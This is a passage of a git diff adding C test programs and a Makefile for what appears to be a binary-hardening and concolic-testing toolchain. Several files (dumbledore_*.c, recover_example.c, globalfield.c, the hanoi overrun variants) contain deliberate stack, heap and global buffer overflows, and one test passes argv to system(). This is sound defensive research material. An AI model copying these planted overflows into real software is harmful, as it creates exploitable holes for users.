+	if(malloc_ptr)
+	{
+		free(malloc_ptr);
+		malloc_ptr=0;
+	}
+	else
+	{
+		malloc_ptr=malloc(((1+N)*(from+1)*(1+to)*(1+using)) << 4);
+	}
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/memcpy.c b/peasoup_examples/dyna_examples/memcpy.c
new file mode 100644
index 0000000000000000000000000000000000000000..8558716e86d892ab5a773a6ad94cbf1234bd804d
--- /dev/null
+++ b/peasoup_examples/dyna_examples/memcpy.c
@@ -0,0 +1,28 @@
+
+char b[100];
+
+
+extern void memcpy(int,int,int);
+
+main()
+{
+	char a[100];
+
+	foo(a,b);
+	printf("", a);
+}
+
+foo(char *c, char* d)
+{
+
+	int i;
+	int offset=c-d;
+	for(i=0;i<100;i++)
+	{
+		*(d+offset)=*(d);
+		d++;
+	}
+
+
+}
+
diff --git a/peasoup_examples/dyna_examples/myhanoi.c b/peasoup_examples/dyna_examples/myhanoi.c
new file mode 100644
index 0000000000000000000000000000000000000000..d55fc4af89ef41220057d03bc9e0bb8bebc3957c
--- /dev/null
+++ b/peasoup_examples/dyna_examples/myhanoi.c
@@ -0,0 +1,69 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	strtok(0);
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/print_ptr.c b/peasoup_examples/dyna_examples/print_ptr.c
new file mode 100644
index 0000000000000000000000000000000000000000..447b8c65f5a20ba5990fc2eb0b52f7df7f4b947d
--- /dev/null
+++ b/peasoup_examples/dyna_examples/print_ptr.c
@@ -0,0 +1,30 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+int main (int argc, char **argv) 
+{ 
+	int *p;
+	char * _itoa_word (unsigned long *value, char *buflim, unsigned int base, int upper_case);
+	char buf[100];
+
+
+
+
+	p=malloc(800);
+
+        printf("Hanoi %d, arr[i]=%d\n", p, p);
+ 
+
+	free(p);
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/recover_example.c b/peasoup_examples/dyna_examples/recover_example.c
new file mode 100644
index 0000000000000000000000000000000000000000..f2f24a957a13d09eb15e92f25edf49539ed628fc
--- /dev/null
+++ b/peasoup_examples/dyna_examples/recover_example.c
@@ -0,0 +1,29 @@
+#include <stdio.h>
+
+void fred(char* ptr) 
+{
+	scanf("%s", ptr);
+}
+
+void bar(char* ptr)
+{
+	int i;
+	for(i=0;i<10;i++)
+		fred(ptr);
+}
+
+int foo()
+{
+	char ptr[10];
+	bar(ptr);
+	return 1;
+
+}
+
+int main()
+{
+	if(foo())
+		printf("Success");
+
+	return 0;
+}
diff --git a/peasoup_examples/examples/Makefile b/peasoup_examples/examples/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..9fe990ea094dda2142ea24880240ca90d019ba1b
--- /dev/null
+++ b/peasoup_examples/examples/Makefile
@@ -0,0 +1,112 @@
+
+
+
+
+CC=DO_NOT_USE
+CXX=DO_NOT_USE
+CFLAGS=DO_NOT_USE
+LD=DO_NOT_USE
+
+.SUFFIXES: .o .c .cpp .stock .protected
+
+exes=hanoi.protected hanoi_overrun.protected hanoi_heap_overrun.protected hanoi_stack_overrun.protected print_ptr.protected malloc.protected block_copy.protected hello.protected hanoi_overrun_tainted.protected hanoi_overrun_taintedenv.protected memcpy.protected cmd_args_005.protected dumbledore_stdin.protected dumbledore_cmd.protected dumbledore_file.protected
+
+ilr=on
+stratafy_with_pc_confine=on
+create_binary_script=on
+heaprand=on
+double_free=on
+pc_confine=on
+isr=on
+meds_static=on
+pdb_register=on
+pdb_create_tables=on
+meds2pdb=on
+fill_in_cfg=on
+fill_in_indtargs=on
+clone=on
+fix_calls=on
+p1transform=on
+integertransform=on
+ilr=on
+generate_spri=on
+spasm=on
+concolic=on
+
+
+all: env_check  ${exes}
+
+.PHONY: env_check 
+
+.o.stock:
+	${PEASOUP_HOME}/tools/ps_link.sh $< -o $@ 
+
+.stock.protected:
+	${PEASOUP_HOME}/tools/ps_analyze.sh  $< $@ \
+                --step ilr=${ilr}\
+                --step stratafy_with_pc_confine=${stratafy_with_pc_confine}\
+                --step create_binary_script=${create_binary_script}\
+                --step heaprand=${heaprand}\
+                --step double_free=${double_free}\
+                --step pc_confine=${pc_confine}\
+                --step isr=${isr}\
+                --step meds_static=${meds_static}\
+                --step pdb_register=${pdb_register}\
+                --step pdb_create_tables=${pdb_create_tables}\
+                --step meds2pdb=${meds2pdb}\
+                --step fill_in_cfg=${fill_in_cfg}\
+                --step fill_in_indtargs=${fill_in_indtargs}\
+                --step clone=${clone}\
+                --step fix_calls=${fix_calls}\
+                --step p1transform=${p1transform}\
+                --step integertransform=${integertransform}\
+                --step generate_spri=${generate_spri}\
+                --step spasm=${spasm}\
+                --step concolic=${concolic}\
+
+
+.c.o:
+	${PEASOUP_HOME}/tools/ps_comp.sh $< 
+
+.cpp.o:
+	${PEASOUP_HOME}/tools/ps_comp++.sh $< 
+
+chopzero:
+	@ if [ ! -f chopzero ]; then gcc chopzero.c -o chopzero -O3 ; fi
+
+$(exes): ${STRATA}/lib/x86_linux/libstrata.a
+
+
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam *.stock *.protected
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh; fi
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
diff --git a/peasoup_examples/examples/block_copy.c b/peasoup_examples/examples/block_copy.c
new file mode 100644
index 0000000000000000000000000000000000000000..5bd8c97bed4e460e36b94f8036a6b92ed25230bf
--- /dev/null
+++ b/peasoup_examples/examples/block_copy.c
@@ -0,0 +1,46 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+int block_copy(char* dst, char* src, int len)
+{
+
+	while(len-- > 0)
+	{
+		*dst++=*src++;
+	}
+	
+}
+
+int k=0;
+int main (int argc, char **argv) 
+{ 
+
+	int **i, **j;
+
+
+	i=malloc(4);
+	j=malloc(4);
+
+	*i=&k;
+	
+	block_copy((char*)j,(char*)i,4);
+
+
+	**j=1;
+
+	printf("k=%d\n", k);
+
+
+
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/cmd_args_005.c b/peasoup_examples/examples/cmd_args_005.c
new file mode 100644
index 0000000000000000000000000000000000000000..934fd9979033eadc263eb22d8c770dbc03e179e4
--- /dev/null
+++ b/peasoup_examples/examples/cmd_args_005.c
@@ -0,0 +1,170 @@
+#ifdef _MSC_VER
+    #include "gtr/src/lang/gtr_config.h"
+#endif
+#include <stdio.h>
+
+
+#pragma runtime_checks("s", off)
+
+
+int my_ischar(char c)
+{
+    if (c < '0') return 0;
+    if (c > '9') return 0;
+    return 1;
+}
+
+int my_atoi(char * str)
+{
+    int result = 0;
+
+    int i = 0;
+    while (str[i] != 0) {
+
+        if (!my_ischar(str[i])) break;
+
+        int digit = (int) (str[i] - '0');
+
+        result = result * 10 + digit;
+
+        i++;
+    }
+
+    return result;
+}
+
+int my_str_cmp(char * s1, char * s2)
+{
+    int i;
+    for (i = 0; (s1[i] != 0) && (s2[i] != 0); i++) {
+        if (s1[i] != s2[i]) {
+            return 0;
+        }
+    }
+    
+    if ((s1[i] != 0) || (s2[i] != 0))
+        return 0;
+
+    return 1;
+}
+
+
+// date January 10, 1973 
+
+
+struct Date {
+    int day;
+    int month;
+    int year;
+};
+
+
+int lookup_month(char * month)
+{
+    if (my_str_cmp(month, "January")) return 1;
+    if (my_str_cmp(month, "February")) return 2;
+    if (my_str_cmp(month, "March")) return 3;
+    if (my_str_cmp(month, "April")) return 4;
+    if (my_str_cmp(month, "May")) return 5;
+    if (my_str_cmp(month, "June")) return 6;
+    if (my_str_cmp(month, "July")) return 7;
+    if (my_str_cmp(month, "August")) return 8;
+    if (my_str_cmp(month, "September")) return 9;
+    if (my_str_cmp(month, "October")) return 10;
+    if (my_str_cmp(month, "November")) return 11;
+    if (my_str_cmp(month, "December")) return 12;
+    return 0;
+}
+
+
+int parse_date(char * str, struct Date * d)
+{
+    int curr_index = 0;
+
+    // extract month
+    int i = 0;
+    char month[11];
+    for(i = 0; (str[curr_index] != ' '); i++, curr_index++) {
+        if (str[curr_index] == '\0') 
+            return 0;
+        if (i >= 10)
+            return 0;
+        month[i] = str[curr_index];
+    }
+
+    // terminate month
+    month[i] = '\0';
+
+    // lookup month
+    int m = lookup_month(month);
+    if (m == 0) return 0;
+    d->month = m;
+
+    // skip ' '
+    curr_index++;
+
+    char date[3];
+    int j = 0;
+    while (str[curr_index] != ',') {
+        if (!my_ischar(str[curr_index])) return 0;
+        if(j >= 2) return 0;
+        date[j] = str[curr_index];
+        curr_index++;
+        j++;
+    }
+
+    // terminate date
+    date[j] = '\0';
+
+    // get date [check?]
+    int day = my_atoi(date);
+    d->day = day;
+
+    // skip ',' and ' '
+    curr_index++;
+    if (str[curr_index++] != ' ') return 0;
+
+    // get year
+    char year[5];
+    int k = 0;
+    while (str[curr_index] != '\0') {
+        if (!my_ischar(str[curr_index])) return 0;
+        if(k >= 4) return 0;
+        year[k] = str[curr_index];
+        curr_index++;
+        k++;
+    }
+
+    // terminate date
+    year[k] = '\0';
+
+    // get year
+    int y = my_atoi(year);
+    d->year = y;
+
+    return 1;
+}
+
+int main(int argc, char * argv[])
+{
+    if (argc != 2) return 0;
+
+    struct Date d;
+    int r;
+    if (parse_date(argv[1], &d)) {
+        
+        // if date is February 13, 2009 do something
+        if ((d.day == 13) && (d.month == 2) && (d.year == 2009)) {
+//            printf ("Opa");
+            r = 2;
+        }
+        else {
+            r = 1;
+        }
+    }
+    else {
+        r = 0;
+    }
+
+    return r;
+}
diff --git a/peasoup_examples/examples/concolic_test_handshake.c b/peasoup_examples/examples/concolic_test_handshake.c
new file mode 100644
index 0000000000000000000000000000000000000000..c8d76478b1db2230ca237cb7af161c9c9878ce37
--- /dev/null
+++ b/peasoup_examples/examples/concolic_test_handshake.c
@@ -0,0 +1,59 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+
+
+
+main(int argc, char* argv[])
+{
+	printf("Testing started\n");
+	if(!fork())
+	{
+		printf("fork started\n");
+		system(argv[1]);
+		printf("system finished\n");
+		sleep(2);
+		return 0;
+	}
+	else
+	{
+
+		printf("fork started in controller\n");
+        	int msgflg = IPC_CREAT | 0666;
+        	key_t key;
+        	size_t buflen;
+		int msqid;
+		int len;
+		
+		struct msgbuf
+		{
+    				long    mtype;
+    				int     args[3];
+		} sbuf;
+
+
+
+        	key = 1234;
+
+		printf("setting up msgq\n");
+        	if ((msqid = msgget(key, msgflg )) < 0)   /* Get the message queue ID for the given key */
+                	perror("msgget");
+
+
+		printf("getting from msgq\n");
+		len=sizeof(sbuf)-sizeof(int);
+        	if (msgrcv(msqid, &sbuf, len,  0, 0) < 0)
+        	{
+			perror("msgrcv:");
+        	}
+
+		printf("Got message from Strata: type=%d, arg1=%x, arg2=%x, arg3=%x\n", (int)sbuf.mtype, sbuf.args[0], sbuf.args[1], sbuf.args[2]);
+
+		sleep(2);
+		return 0;
+
+	}
+}
+
diff --git a/peasoup_examples/examples/data.txt b/peasoup_examples/examples/data.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d00bf42f05b7188e65ea616e5e994e3f7977215c
--- /dev/null
+++ b/peasoup_examples/examples/data.txt
@@ -0,0 +1 @@
+Jason
diff --git a/peasoup_examples/examples/dumbledore_cmd.c b/peasoup_examples/examples/dumbledore_cmd.c
new file mode 100644
index 0000000000000000000000000000000000000000..7aff3c7e9b440b4a18f43699b5f5fc713d24c4a1
--- /dev/null
+++ b/peasoup_examples/examples/dumbledore_cmd.c
@@ -0,0 +1,44 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 24};
+
+char grade = 'D';
+char Name[BUFSIZE];
+
+void readString(char *in, char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = in[i];
+      if ((c == '\0') || (c == '\n')) 
+         break;
+
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(int argc, char * argv[])
+{
+   if (argc == 2)
+      readString(argv[1], Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   return 0;
+}
diff --git a/peasoup_examples/examples/dumbledore_file.c b/peasoup_examples/examples/dumbledore_file.c
new file mode 100644
index 0000000000000000000000000000000000000000..f7c5e203b6e1139822e01be0697c4612fa08da48
--- /dev/null
+++ b/peasoup_examples/examples/dumbledore_file.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = fgetc(f);
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   f = fopen("data.txt", "r");
+
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/examples/dumbledore_file_with_fopen_check.c b/peasoup_examples/examples/dumbledore_file_with_fopen_check.c
new file mode 100644
index 0000000000000000000000000000000000000000..06d056a7459c0bdf3ec4ff2286d3683da70cd372
--- /dev/null
+++ b/peasoup_examples/examples/dumbledore_file_with_fopen_check.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = fgetc(f);
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   f = fopen("data.txt", "r");
+
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+//   exit(0);
+}
+
diff --git a/peasoup_examples/examples/dumbledore_stdin.c b/peasoup_examples/examples/dumbledore_stdin.c
new file mode 100644
index 0000000000000000000000000000000000000000..44c93c0b31f99c4784e1cfbb7260122463b04088
--- /dev/null
+++ b/peasoup_examples/examples/dumbledore_stdin.c
@@ -0,0 +1,50 @@
+
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = getchar();
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+#if 0
+/* needed for some exploit, but not really part of the program! */
+   mprotect((void*)((unsigned int)Name & 0xfffff000), 1,
+            PROT_READ | PROT_WRITE | PROT_EXEC);
+#endif
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/examples/fptest.c b/peasoup_examples/examples/fptest.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f9df4854172a89abc112faf2c36753f15ee200d
--- /dev/null
+++ b/peasoup_examples/examples/fptest.c
@@ -0,0 +1,15 @@
+#ident "$Id: fptest.c,v 1.1 2008-01-11 17:05:47 jdh8d Exp $"
+
+#include <stdio.h>
+
+int main (int argc, char *argv[]) {
+	int i, *p;
+	double d=3.1415;
+
+
+	fprintf(stdout, "When Strata controls me I say: %g\n",d);
+
+
+	fflush(stdout);
+	fprintf(stdout, "When I control me I still say: %g\n",d);
+}
diff --git a/peasoup_examples/examples/globalfield.c b/peasoup_examples/examples/globalfield.c
new file mode 100644
index 0000000000000000000000000000000000000000..e02376e384915d77970fe16074582c2d299eb391
--- /dev/null
+++ b/peasoup_examples/examples/globalfield.c
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#define TRUE 1
+#define FALSE 0
+
+
+struct ASI {
+  int valid;
+  float (*pt2func)(float, float);
+  int buf[128];
+  int *uid_ptr;
+};  
+
+float FloatingAdd(float a, float b) {
+  return (a + b);
+}
+
+float FloatingSub(float a, float b) {
+  return (a - b);
+}
+
+struct ASI GlobalStruct1;
+
+int main() {
+  int x, index;
+  float y, z, result;
+
+  GlobalStruct1.valid = FALSE;
+  GlobalStruct1.uid_ptr = 0;
+   y = 2.0;
+   z = 13.0;
+
+   printf("Enter a positive integer. Greater than 128 overflows.\n");
+   scanf("%d", &x);
+
+   GlobalStruct1.uid_ptr = &x;
+   if (x < 0) {
+     GlobalStruct1.pt2func = &FloatingAdd;
+   }
+   else {
+     GlobalStruct1.pt2func = &FloatingSub;
+   }
+
+   result = GlobalStruct1.pt2func(y, z);
+
+   for (index = 0; index < x; ++index) { 
+     GlobalStruct1.buf[index] = index;  // buffer overflow vulnerability
+   }
+     
+   GlobalStruct1.valid = TRUE;
+   printf("x = %d y = %f z = %f result = %f uid_ptr=%xl\n", x, y, z, result, GlobalStruct1.uid_ptr);
+   return 0;
+}
diff --git a/peasoup_examples/examples/hanoi.c b/peasoup_examples/examples/hanoi.c
new file mode 100644
index 0000000000000000000000000000000000000000..380fc838b29363b081996c9757fc6f21e3fa960b
--- /dev/null
+++ b/peasoup_examples/examples/hanoi.c
@@ -0,0 +1,67 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hanoi_heap_overrun.c b/peasoup_examples/examples/hanoi_heap_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..90d8bbe227790956cbd2b0d59471ba8939bd18a2
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_heap_overrun.c
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int *arr=NULL;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	arr=malloc(15*4);
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	free(arr); arr=0;
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hanoi_nostrata.c b/peasoup_examples/examples/hanoi_nostrata.c
new file mode 100644
index 0000000000000000000000000000000000000000..380fc838b29363b081996c9757fc6f21e3fa960b
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_nostrata.c
@@ -0,0 +1,67 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hanoi_overrun.c b/peasoup_examples/examples/hanoi_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..c9e347c04866dc1c3120e50205b3d0cef5cfd095
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_overrun.c
@@ -0,0 +1,75 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
